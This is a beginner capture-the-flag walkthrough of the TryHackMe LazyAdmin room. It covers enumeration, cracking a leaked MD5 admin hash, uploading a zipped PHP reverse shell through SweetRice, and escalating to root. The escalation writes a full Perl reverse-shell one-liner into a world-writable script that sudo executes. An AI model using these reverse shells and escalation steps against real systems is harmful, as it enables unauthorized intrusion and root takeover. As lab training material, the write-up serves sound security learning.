LazyAdmin: A Beginner CTF Walkthrough

Tonight’s CTF is LazyAdmin on TryHackMe. The description says it’s easy but I still haven’t brushed up on Linux privilege escalation in a while so I’m not overly confident going in. I imagine we’ll be making several trips to GTFObins.org. At this point in our CTF journey, I’m going to cut back on the copy/paste provisions for our most commonly used commands. We should know Nmap and gobuster construction by heart by now.

🔗 https://tryhackme.com/room/lazyadmin

🔎 Initial Enumeration

Nmap reveals the following:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

Web is always our most likely candidate, so we visit target after adding the target machine’s IP to our /etc/hosts file. It’s a default Apache2 Ubuntu Installation Page with no stand-out vulnerabilities. Admin appears to be running a website management system called “SweetRice.” Smaller, lesser-known software projects like this one are often lead to an easy win, especially in beginner CTFs. While SweetRice does have known vulnerabilities, this version doesn’t seem to have any applicable CVEs. It looks like we will have to instead rely on the mistakes and misconfigurations of the web admin as the CTF’s name would suggest.

🔗 Following Some Links

Out of curiosity, we follow the breadcrumb trail of SweetRice links to a suspicious blank page. The code seems to allude to a hidden login page:

<form style="display: none" method="POST" action="?" id="rf">
  <input type="hidden" name="q" id="q"/>
  <input type="hidden" name="rnd" id="rnd"/>
</form>

Further inspection, however, indicates that it might be some sort of anit-bot obfuscation JS script. In any event it looks far too complicated for an “easy” CTF, and we’re dangerously close to being out-of-scope anyways.

📂 Directory Enumeration

Gobuster reveals:

/.hta (Status: 403) [Size: 271]
/.htpasswd (Status: 403) [Size: 271]
/.htaccess (Status: 403) [Size: 271]
/content (Status: 301) [Size: 302] [--> http://target/content/]
/index.html (Status: 200) [Size: 11321]
/server-status (Status: 403) [Size: 271]
Progress: 4614 / 4615 (99.98%)

Status code 301 is promising. It looks like rather than installing to root, admin chose to install to the /content subfolder. Let’s run gobuster again, this time specifying the subdirectory:

/.php (Status: 403) [Size: 271]
/images (Status: 301) [Size: 309] [--> http://target/content/images/]
/index.php (Status: 200) [Size: 2192]
/license.txt (Status: 200) [Size: 15410]
/js (Status: 301) [Size: 305] [--> http://target/content/js/]
/changelog.txt (Status: 200) [Size: 18013]
/inc (Status: 301) [Size: 306] [--> http://target/content/inc/]
/as (Status: 301) [Size: 305] [--> http://target/content/as/]
/_themes (Status: 301) [Size: 310] [--> http://target/content/_themes/]
/attachment (Status: 301) [Size: 313] [--> http://target/content/attachment/]

Here we see the typical structure of a SweetRice installation. The login page is /as. SweetRice doesn’t install with a set of default credentials; during setup, the administrator is prompted to provide a custom username and password. Admin/admin doesn’t work so however lazy admin is, he’s not that lazy at least.

🗄️ Credential Discovery

The directory /inc has a lot to offer, of especial interest is the .sql database. Catting it reveals:

\"Description\";s:5:\"admin\";s:7:\"manager\";s:6:\"passwd\";s:32:\"42f749ade7f9e195bf475f37a44cafcb\";s:5:\"close\";i:1;s:9:\"close_tip\";s:454:\"

Which gives us a username and a password, currently disguised as an MD5 hash. Can we crack it?

echo 42f749ade7f9e195bf475f37a44cafcb > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

This reveals that the password truly was lazily conceived, it’s Password123. Let’s login at target/content/as.

Poking around, it looks like we might we be able to upload a shell in the Media Center. There’s a checkbox for “extract .zip” which suggests we should compress our .php exploit before uploading it. But first, we must configure the script.

cd /usr/share/webshells/php/
sudo nano php-reverse-shell.php

Edit $ip = 'YOUR_IP'; and then exit, saving on your way out. Let’s zip the shell and start the listener in a dedicated terminal.

zip shell.zip php-reverse-shell.php
nc -lvnp 4444

🐚 Gaining a Shell

In the SweetRice Media Center, checkbox “extract.zip” and upload shell.zip. The extracted .php script will appear towards the top of the page. Click it and then visit the listener terminal. We have a prompt! We navigate to the usual location and now we finally have our first flag!

Now we need to escalate our privileges in order to get root.txt.

Sudo -l

Reveals:

User www-data may run the following commands on THM-Chal: (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

It turns out, backup.pl is readable. Doing so reveals that it executes /etc/copy.sh. The solution becomes obvious: if we can write to copy.sh, we can execute it with sudo privileges! We likely won’t need to visit GTFObins.org after all.

As it turns out, copy.sh is rw-r--rwx! At first glance you might think that we don’t even need backup.pl because copy.sh is itself writeable and executable. Obviously, if we execute it as user www-data, copy.sh (and anything we stuff it with), will only run with www-data’s permissions. We want to stuff copy.sh with a dangerous payload and then execute backup.pl as sudo, which will subsequently execute copy.sh with sudo permissions. Let’s load the pay… load.

First, we need to re-edit php-reverse-shell.php. The IP can stay the same, but update the port to read 9001. Now start another listener in another dedicated terminal with the following command:

nc -lvnp 9001

🐚⬆️ Gaining an Other, Elevated Shell

Now, back in our original shell, execute the following:

echo 'perl -e '\''use Socket;$i="YOUR_IP";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'\''' > /etc/copy.sh

Obviously this is not one of those command constructions that we should know by heart by now; we haven’t ever even seen this before!

Pro tip: You’ll notice that a lot of shells behave pretty quirkily. In our original shell, it’s not possible to use the back arrow to edit YOUR_IP. I suggest you copy and paste the previous command in a text file on your attack box, edit YOUR_IP, and then copy/paste the result into the shell.

Now that we’ve updated copy.sh with much maliciousness, let’s execute it:

sudo /usr/bin/perl /home/itguy/backup.pl

Returning to our latest listener we see that we have an elevated shell! You know what to do, go get that root flag!

🏁 Conclusion

Light web enumeration, weak credential storage, and a file upload exploit all made for a very approachable privilege escalation path. LazyAdmin demonstrates how small misconfigurations compound. With this CTF we start to move from beginner CTF to intermediate, if only just a little. We were able to practice a very basic form of attack chaining by using a shell to get an elevated shell.

LazyAdmin also reminds us that even “easy” rooms can feel frustratingly difficult if you overlook something simple like enumerating a subdirectory. Don’t ask me how I know.

Another box down, another reminder to trust the basics, enumerate thoroughly, and never underestimate the destructive power of mistakes and misconfigurations.

Leave Comment

Your email address will not be published. Required fields are marked *